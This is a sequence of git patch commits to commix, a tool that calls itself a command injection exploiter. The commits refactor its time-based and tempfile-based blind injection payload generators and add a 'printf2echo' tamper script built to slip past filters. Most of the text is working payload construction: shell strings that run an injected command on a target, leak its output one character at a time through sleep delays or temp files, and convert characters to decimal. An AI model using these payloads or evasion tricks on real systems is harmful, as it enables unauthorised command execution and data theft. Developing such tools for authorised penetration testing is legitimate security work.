scripts """ @@ -1370,7 +1380,7 @@ def check_for_stored_tamper(payload): """ def perform_payload_modification(payload): for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): - # sleep to usleep + # sleep to timeout if encode_type == 'sleep2timeout': from src.core.tamper import sleep2timeout payload = sleep2timeout.tamper(payload) diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index b2e9554e0b..b267fdf1ec 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -16,6 +16,7 @@ import sys from src.utils import menu from src.utils import settings +from src.core.injections.controller import checks """ About: Uses "timeout" function for time-based attacks. @@ -44,12 +45,9 @@ def sleep_to_timeout_ping(payload): settings.EVAL_BASED_STATE != False or \ settings.FILE_BASED_STATE != False: if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "All injection techniques, except for the time-relative ones, " - warn_msg += "do not support the '" + __tamper__ + ".py' tamper script. Skipping." - if menu.options.skip_heuristics: - print(settings.SINGLE_WHITESPACE) - print(settings.print_warning_msg(warn_msg)) + if settings.TRANFROM_PAYLOAD == None: + checks.time_relative_tamper(__tamper__) + settings.TRANFROM_PAYLOAD = False return payload else: settings.TRANFROM_PAYLOAD = True diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index 5b1b4d3e2d..dedf255b3f 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -16,6 +16,7 @@ import sys from src.utils import menu from src.utils import settings +from src.core.injections.controller import checks """ About: Replaces "sleep" with "usleep" command in the generated payloads. @@ -45,15 +46,13 @@ def sleep_to_usleep(payload): settings.EVAL_BASED_STATE != False or \ settings.FILE_BASED_STATE != False: if settings.TRANFROM_PAYLOAD == None: + checks.time_relative_tamper(__tamper__) settings.TRANFROM_PAYLOAD = False - warn_msg = "All injection techniques, except for the time-relative ones, " - warn_msg += "do not support the '" + __tamper__ + ".py' tamper script." - if menu.options.skip_heuristics: - print(settings.SINGLE_WHITESPACE) - print(settings.print_warning_msg(warn_msg)) - return payload + return payload else: - return sleep_to_usleep(payload) + settings.TRANFROM_PAYLOAD = True + if settings.TRANFROM_PAYLOAD: + return sleep_to_usleep(payload) else: return payload diff --git a/src/utils/settings.py b/src/utils/settings.py index e8aa638e2e..bdeb782513 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "5" +REVISION = "6" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 6ab2d255773398b90ceeeb64c2cdef81b7b5c382 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 11 Sep 2022 21:20:33 +0300 Subject: [PATCH 186/560] Update THANKS.md --- doc/THANKS.md | 1 + 1 file changed, 1 insertion(+) diff --git a/doc/THANKS.md b/doc/THANKS.md index f30098a9ba..44e0c582d9 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -7,6 +7,7 @@ * Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation. ## List of individual contributors: +* Thanks [JitPatro](https://github.com/JitPatro) for creating a snap package for commix (i.e. `snap install commix`). * Thanks [0x27](https://github.com/0x27) for suggesting an enhancement. * Thanks [609496288](https://github.com/609496288) for reporting a bug. * Thanks [6kemb0bani](https://github.com/6kemb0bani) for reporting a bug. From 173b891276c7680a0d22bedaf72a44b01e5fca56 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 7 Oct 2022 12:31:20 +0300 Subject: [PATCH 187/560] Minor refactoring --- .../techniques/time_based/tb_payloads.py | 111 ++--------------- .../techniques/tempfile_based/tfb_payloads.py | 113 ++---------------- src/utils/settings.py | 2 +- 3 files changed, 19 insertions(+), 207 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 4976fa8bdf..b0caa1283a 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -44,7 +44,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): ) else: - if separator == ";" : + if separator == ";" or separator == "%0a": payload = (separator + "str=$(echo " + TAG + ")" + separator + # Find the length of the output. @@ -55,16 +55,6 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "fi" ) - elif separator == "%0a" : - payload = (separator + - "str=$(echo " + TAG + ")" + separator + - # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - "if [ " + str(output_length) + " -ne $str1 ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi" - ) elif separator == "&&" : separator = _urllib.parse.quote(separator) @@ -118,18 +108,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me ) else: - if separator == ";" : - payload = (separator + - # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + - "if [ " + str(output_length) + " -ne ${str1} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "%0a" : - #separator = "\n" + if separator == ";" or separator == "%0a": payload = (separator + # Find the length of the output, using readline(). "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + @@ -199,7 +178,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): ) else: - if separator == ";" : + if separator == ";" or separator == "%0a": payload = (separator + "str=\"$(echo $(" + cmd + "))\"" + separator + #"str1=${%23str}" + separator + @@ -210,19 +189,6 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "fi " ) - elif separator == "%0a" : - #separator = "\n" - payload = (separator + - "str=\"$(echo $(" + cmd + "))\"" + separator + - # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "if [ " + str(output_length) + " -ne $str1 ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -275,18 +241,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque ) else: - if separator == ";" : - payload = (separator + - # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator + - "if [ " + str(output_length) + " -ne ${str1} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "%0a" : - #separator = "\n" + if separator == ";" or separator == "%0a": payload = (separator + # Find the length of the output, using readline(). "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator + @@ -352,30 +307,14 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met ) else: - if separator == ";" : + if separator == ";" or separator == "%0a" : payload = (separator + # Grab the execution output. "cmd=\"$(echo $(" + cmd + "))\"" + separator + # Export char-by-char the execution output. "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + # Transform from Ascii to Decimal. - "str=$(printf %25d \"'$char'\")" + separator + - # Perform the time-based comparisons - "if [ " + str(ascii_char) + " -ne $str ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "%0a" : - #separator = "\n" - payload = (separator + - # Grab the execution output. - "cmd=\"$(echo $(" + cmd + "))\"" + separator + - # Export char-by-char the execution output. - "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + - # Transform from Ascii to Decimal. - "str=$(printf %25d \"'$char'\")" + separator + + "str=$(printf '%d\\n' \"'$char'\")" + separator + # Perform the time-based comparisons "if [ " + str(ascii_char) + " -ne $str ]" + separator + "then sleep 0" + separator + @@ -393,7 +332,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met # Export char-by-char the execution output. "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + # Transform from Ascii to Decimal. - "str=$(printf %25d \"'$char'\")" + separator + + "str=$(printf '%d\\n' \"'$char'\")" + separator + # Perform the time-based comparisons "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "sleep " + str(timesec) @@ -441,17 +380,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http ) else: - if separator == ";" : - payload = (separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "%0a" : - #separator = "\n" + if separator == ";" or separator == "%0a": payload = (separator + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + @@ -518,17 +447,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me ) else: - if separator == ";" : - payload = (separator + - "str=\"$(" + cmd + ")\"" + separator + - "if [ " + str(ascii_char) + " -ne $str ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "%0a" : - #separator = "\n" + if separator == ";" or separator == "%0a": payload = (separator + "str=\"$(" + cmd + ")\"" + separator + "if [ " + str(ascii_char) + " -ne $str ]" + separator + @@ -585,7 +504,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: - if separator == ";" : + if separator == ";" or separator == "%0a": payload = (separator + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + @@ -594,16 +513,6 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "fi " ) - elif separator == "%0a" : - #separator = "\n" - payload = (separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator + - "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 93681e1dab..f68e0a11d8 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -49,21 +49,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): ) else: - if separator == ";" : - payload = (separator + - "str=$(echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + ")" + separator + - "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + - # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "%0a" : - #separator = "\n" + if separator == ";" or separator == "%0a" : payload = (separator + "str=$(echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + ")" + separator + "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + @@ -131,19 +117,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: - if separator == ";" : - payload = (separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + - # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator + - "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "%0a" : - #separator = "\n" + if separator == ";" or separator == "%0a" : payload = (separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + # Find the length of the output, using readline(). @@ -230,25 +204,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth ) else: - if separator == ";" : - payload = (separator + - "str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + - "echo $str > " + OUTPUT_TEXTFILE + separator + - "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + - # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then sleep 0 " + separator + - "else sleep " + str(timesec) + separator + - # Transform to ASCII - "str1=$(od -A n -t d1 < " +OUTPUT_TEXTFILE + ")" + separator + - "echo $str1 > " + OUTPUT_TEXTFILE + separator + - "fi " - ) - - elif separator == "%0a" : - #separator = "\n" + if separator == ";" or separator == "%0a" : payload = (separator + "str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + "echo $str > " + OUTPUT_TEXTFILE + separator + @@ -330,7 +286,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: - if separator == ";" : + if separator == ";" or separator == "%0a" : payload = (separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + # Find the length of the output, using readline(). @@ -341,18 +297,6 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "fi " ) - elif separator == "%0a" : - #separator = "\n" - payload = (separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + - # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator + - "if [ " + str(j) + " -ne ${str1} ] " + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -413,18 +357,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http ) else: - if separator == ";" : - payload = (separator + - # Use space as delimiter - "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator + - "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "%0a" : - #separator = "\n" + if separator == ";" or separator == "%0a" : payload = (separator + # Use space as delimiter "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator + @@ -487,7 +420,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: - if separator == ";" : + if separator == ";" or separator == "%0a" : payload = (separator + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + @@ -496,16 +429,6 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "fi " ) - elif separator == "%0a" : - #separator = "\n" - payload = (separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -562,17 +485,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth ) else: - if separator == ";" : - payload = (separator + - "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + - "if [ " + str(ord(str(ascii_char))) + " -ne ${str} ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "%0a" : - #separator = "\n" + if separator == ";" or separator == "%0a" : payload = (separator + "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + "if [ " + str(ord(str(ascii_char))) + " -ne ${str} ]" + separator + @@ -629,17 +542,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: - if separator == ";" : - payload = (separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "%0a" : - #separator = "\n" + if separator == ";" or separator == "%0a" : payload = (separator + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\")" + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + diff --git a/src/utils/settings.py b/src/utils/settings.py index bdeb782513..dd7eb9a196 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "6" +REVISION = "7" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 3cb81bb35e58b37571131b2c12b209bfd60c8e72 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 7 Oct 2022 15:45:23 +0300 Subject: [PATCH 188/560] New line removed --- .../injections/blind/techniques/time_based/tb_payloads.py | 4 ++-- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index b0caa1283a..b119491275 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -314,7 +314,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met # Export char-by-char the execution output. "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + # Transform from Ascii to Decimal. - "str=$(printf '%d\\n' \"'$char'\")" + separator + + "str=$(printf '%d' \"'$char'\")" + separator + # Perform the time-based comparisons "if [ " + str(ascii_char) + " -ne $str ]" + separator + "then sleep 0" + separator + @@ -332,7 +332,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met # Export char-by-char the execution output. "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + # Transform from Ascii to Decimal. - "str=$(printf '%d\\n' \"'$char'\")" + separator + + "str=$(printf '%d' \"'$char'\")" + separator + # Perform the time-based comparisons "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "sleep " + str(timesec) diff --git a/src/utils/settings.py b/src/utils/settings.py index dd7eb9a196..a6838560d0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "7" +REVISION = "8" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 73c16e0a1e7c556af0ac1300412f000ba3e0a393 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 8 Oct 2022 10:00:31 +0300 Subject: [PATCH 189/560] Fixes https://github.com/commixproject/commix/issues/782 --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 4 +++ src/core/tamper/printf2echo.py | 34 ++++++++++++++++++++++++ src/utils/settings.py | 4 ++- 4 files changed, 42 insertions(+), 1 deletion(-) create mode 100644 src/core/tamper/printf2echo.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 0115fbc2e6..8eea9871af 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.6 (TBA) +* Added: New tamper script "printf2echo.py" that replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`. * Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). * Revised: Minor improvement regarding handling HTTP Error 401 (Unauthorized). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 66ebcdf6cf..dea83e2c3f 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1380,6 +1380,10 @@ def check_for_stored_tamper(payload): """ def perform_payload_modification(payload): for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + # printf to echo (for ascii to dec) + if encode_type == 'printf2echo': + from src.core.tamper import printf2echo + payload = printf2echo.tamper(payload) # sleep to timeout if encode_type == 'sleep2timeout': from src.core.tamper import sleep2timeout diff --git a/src/core/tamper/printf2echo.py b/src/core/tamper/printf2echo.py new file mode 100644 index 0000000000..eb03120e34 --- /dev/null +++ b/src/core/tamper/printf2echo.py @@ -0,0 +1,34 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings + +""" +About: Replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`. +Notes: This tamper script works against Unix-like target(s) +""" + +__tamper__ = "printf2echo" +settings.TAMPER_SCRIPTS[__tamper__] = True + +def tamper(payload): + def printf_to_echo(payload): + if "printf" in payload: + payload = payload.replace("str=$(printf" + settings.WHITESPACES[0] + "'%d'" + settings.WHITESPACES[0] + "\"'$char'\")", "str=$(echo" + settings.WHITESPACES[0] + "-n" + settings.WHITESPACES[0] + "$char" + settings.WHITESPACES[0] + "|" + settings.WHITESPACES[0] + "od" + settings.WHITESPACES[0] + "-An" + settings.WHITESPACES[0] + "-tuC" + settings.WHITESPACES[0] + "|" + settings.WHITESPACES[0] + "xargs)") + return payload + + return printf_to_echo(payload) + +# eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index a6838560d0..bc7e60f966 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "8" +REVISION = "9" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -995,6 +995,7 @@ def sys_argv_errors(): "sleep2timeout": False, "xforwardedfor": False, "dollaratsigns": False, + "printf2echo": False, "uninitializedvariable": False, "slash2env":False, "backticks":False @@ -1013,6 +1014,7 @@ def sys_argv_errors(): "singlequotes", "slash2env", "sleep2usleep", + "printf2echo", "space2ifs", "uninitializedvariable" ] From f1ae3f6e59de9003f5a6ee53dd62e50e3f72cc2f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 9 Oct 2022 10:02:09 +0300 Subject: [PATCH 190/560] Minor update --- src/utils/menu.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/menu.py b/src/utils/menu.py index 875632d9cd..e9a7cfe0e8 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -538,7 +538,7 @@ def banner(): action="store", type="int", dest="failed_tries", - default=20, + default=len(settings.SEPARATORS_LVL1) - 1, help="Set a number of failed injection tries, in file-based technique.") # Miscellaneous options diff --git a/src/utils/settings.py b/src/utils/settings.py index bc7e60f966..c853764a27 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "9" +REVISION = "10" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From fe6790d497bea3894fdd4a8544358259c7767f84 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 10 Oct 2022 09:54:21 +0300 Subject: [PATCH 191/560] Minor update --- .../injections/blind/techniques/time_based/tb_injector.py | 5 +++-- .../semiblind/techniques/tempfile_based/tfb_injector.py | 5 +++-- src/utils/settings.py | 2 +- 3 files changed, 7 insertions(+), 5 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 3f23ab0cbe..06f550309a 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -510,10 +510,11 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese """ def export_injection_results(cmd, separator, output, check_how_long): if output != "" and check_how_long != 0 : - print(settings.SINGLE_WHITESPACE) - print(settings.print_output(output)) + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "." print(settings.print_info_msg(info_msg)) + print(settings.print_output(output)) else: # Check if exists pipe filtration. if output != False : diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 5e7cc9dcfe..78ba02cae3 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -512,10 +512,11 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese """ def export_injection_results(cmd, separator, output, check_how_long): if output != "" and check_how_long != 0 : - print(settings.SINGLE_WHITESPACE) - print(settings.print_output(output)) + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "." print(settings.print_info_msg(info_msg)) + print(settings.print_output(output)) else: err_msg = common.invalid_cmd_output(cmd) print(settings.print_error_msg(err_msg)) diff --git a/src/utils/settings.py 